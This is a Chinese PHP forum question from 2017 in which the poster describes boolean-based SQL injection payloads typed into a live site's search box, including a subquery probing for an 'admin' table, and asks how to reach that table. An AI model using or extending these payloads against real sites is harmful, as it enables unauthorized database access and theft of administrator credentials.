php - 在Sql注入时查询表名是否存在有一点小疑问求大神们解答一下谢谢啦
天蓬老师
天蓬老师 2017-04-10 16:29:32
[PHP讨论组]

是这样的,这两天在尝试通过文本搜索框注入一个站时,查询

XXX%' and 1=1 and '%'='

正常显示,查询

XXX%' and 1=2 and '%'='

时不正常显示,它的查询语句如下

SELECT d.* FROM Table1 d left join Table2 c on c.name = d.name WHERE d.id != 0 and c.location like '%(搜索框的内容)%' ……

接着我想试试

XXX%' and (select count(*) from admin)>0 and '%'='

结果爆出错误

Table 'child.admin' doesn't exist

所以问题是,我怎么才能查admin这个表而不是去查*.admin是否存在呢?
在这里先谢谢大神了

天蓬老师
天蓬老师

欢迎选择我的课程,让我们一起见证您的进步~~

全部回复(0)
热门教程
更多>
最新下载
更多>
网站特效
网站源码
网站素材
前端模板
关于我们 免责申明 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送
PHP中文网APP
随时随地碎片化学习
PHP中文网抖音号
发现有趣的

Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号